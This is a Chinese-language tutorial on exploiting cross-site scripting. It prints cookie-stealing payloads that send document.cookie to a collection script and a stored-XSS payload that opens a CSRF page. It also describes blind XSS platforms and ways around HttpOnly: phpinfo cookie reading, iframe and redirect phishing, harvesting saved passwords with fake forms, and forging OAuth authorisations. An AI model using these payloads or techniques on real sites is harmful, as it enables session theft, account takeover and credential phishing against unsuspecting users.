XSS的利用
利用XSS窃取cookie
窃取cookie是xss利用最常见的手段,攻击者有了cookie就相当于拥有了“管理员”身份。
通常需要配合xss平台来进行攻击,当被攻击者访问到有恶意代码的页面,他的cookie就会被发送到xss平台。
常用获取cookie的js代码如下:
<imgsrc="http://localhost/XSS_cookie.php?cookie='+document.cookie"></img>
<script>newImage().src="http://localhost/XSS/xss_cookie.php?cookie="+document.cookie;</script>
其中本地的XSS_cookie.php中的内容如下:
XSS修改网页
该利用方式的前提是网站必须存在存储型xss漏洞,并且会将结果返回到页面上。
我们可以在源码中插入一段js代码,作用在于获取网站源码中的标签,然后修改其中的属性值,达到修改网页的效果。
也可以构造弹窗等诱导被攻击者输入账号密码等关键信息。
XSS获取用户信息
利用xss除了能够获取用户cookie,还能获取诸如浏览器版本、外网IP地址、浏览器安装的插件类型等信息。
比如alert(navigator.userAgent); 能够读取userAgent内容;利用java环境,调用java Applet的接口获取客户端本地ip等。
XSS+CSRF 组合拳
组合拳思路
存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)
存储型XSS + CSRF
其中存储型xss payload:
<scriptsrc="x"οnerrοr=javascript:window.open("http://localhost/csrf.html")></script>
可知该javascript脚本会打开http://localhost/csrf.html的窗口。
我们可以通过csrf利用工具生成隐匿的恶意csrf.html文件,再通过存储型xss模拟用户访问该页面,最终达成在用户不知不觉的情况下执行跨站请求的操作。
盲打XSS(Blind XSS)
成因
常规的XSS攻击是通过页面返回内容中JS攻击代码的生效与否来判断XSS的攻击是否成功;
而对于一些网页功能,比如反馈,我们可以发现,不管你提交什么内容,返回的内容都是”感谢您的反馈”类似的语句,并不会根据你提交的内容而在页面中显示不同的内容
对于这样的内容提交点,就无法通过页面反馈判断攻击代码是否注入成功,那么就可以通过XSS盲打。
Blind XSS 是一种持久型的XSS,依靠目标web页面的代码中的漏洞,允许恶意代码插入到web控件中,被服务器存储到数据库或者网站设置文件中。
这些恶意代码将被作为HTML响应页面的一部分向其他用户提供服务,而不会被检测。
常见场景
盲打XSS的常见目标:登录表单及论坛/留言板
登录表单经常从网页接收输入的用户名,并将它保存到一个之后可以被查看的日志文件中。
因此,一次在登录表单的“用户名”模块输入恶意代码后的失败的登录,将会导致服务器将输入保存到日志中,这样日志中就将恶意代码当做“用户名”保存。
攻击者可以执行一些这样的登录尝试,为了将恶意代码传入到日志数据库中或日志文件中。
当管理员通过web的形式浏览日志时,恶意代码就会被执行。
类似于之前的场景,攻击者也可以在论坛或留言板的主题标题中插入恶意代码。
服务器通常会将它们提交的数据保存到数据库中,并且存储的信息对其他人可见,比如版主等。
利用
XSS盲打一般通过XSS盲打平台,在XSS盲打平台建立项目,会生成项目攻击链接,实际上就是一个类似JS文件的访问链接,这个JS文件中其中至少包含一个功能,那就是向盲打平台发送GET/POST请求传输数据回来
比如Cookie,这样的话,类似在反馈页面提交的攻击代码一旦生效,就等于JS代码被执行,那么就会向盲打平台返回数据,那就说明攻击成功了;
假如一直没有返回数据,那就说明提交的攻击代码没有执行或者执行出问题,也就证明攻击失败。
开启HttpOnly下的利用
HttpOnly概念:HttpOnly是Set-Cookie HTTP响应头中包含的附加标志。生成cookie时使用HttpOnly标志有助于降低客户端脚本访问受保护cookie的风险(如果浏览器支持它)。
如果HTTP响应头中包含HttpOnly标志,客户端脚本就无法访问cookie。
因此,即使存在跨站点脚本(XSS)缺陷,且用户意外访问利用此漏洞的链接,浏览器也不会向第三方透露cookie。
那么我们可以通过XSS直接在源站上完成操作,不直接获取cookie。
1.phpinfo页
伪造对方身份访问同站的phpinfo页面,因为同域所以通过ajax提交访问可以读取到responseText,其中$_SERVER[“HTTP_COOKIE”]会打印出具有httponly属性的cookies。
优点:成功率很高,最不容易被察觉,也是最常用的一种方式。
缺点:需要phpinfo页,条件苛刻。
2.框架钓鱼
通过标签嵌入一个远程域,完全撑开后,以覆盖原有的页面。
优点:无跳转,域名无改变。
缺点:通常会覆盖某个正常的页面,管理员易察觉。
3.跳转钓鱼
通过购买相似域名,构建相同的钓鱼页面,使受害者跳转至钓鱼站。
优点:主动性较强,可主动钓鱼。
缺点:成本较高,且由于页面跳转过于明显,所以此方法十分容易被发现。
4.历史密码
通过js伪造登录表单,欺骗浏览器自动填入,由此获取浏览器记住的历史密码。
优点:不易被发现,可直接获取明文,成功率较高。
缺点:各内核浏览器兼容性不一,最新版google已不支持http协议下的自动填入功能。
5.获取源码
通过xss获取后端页面源码,常常可以发现一些越权访问,或者配合CSRF打组合拳去添加新用户或者执行其他的功能,以及通过审计后台js发现一些漏洞等。
优点:信息获取的比较详细,也可以获取到后台账号名称。
缺点:局限性较大,不易于利用。
6.通过xss伪造oauth等授权请求,远程登录
Oauth简介
Oauth这种机制允许第三方获取用户账户的长期访问权限,之前已经有攻击者滥用过该机制,诱骗用户点击授权按钮。
授权第三方应用后,用户可以为第三方应用提供一个长期可用的令牌,第三方应用可以通过不同方式,利用该令牌访问用户账户。
这是在cookie受保护的情况下,攻击者能够长期有效、不受限制、隐蔽地访问受害者账户的方法。
由于我们能以用户的身份执行一些操作(无cookie情况下),那么只要Oauth的授权页面与XSS点同源,那么就能以用户的身份安装Oauth应用。
其它
xss的利用方式多种多样,远不止以上的几种,比方说还能够利用XSS+CSRF组合拳来添加管理员、利用html5的canvas来截取客户的屏幕,还有针对移动端的xss攻击等。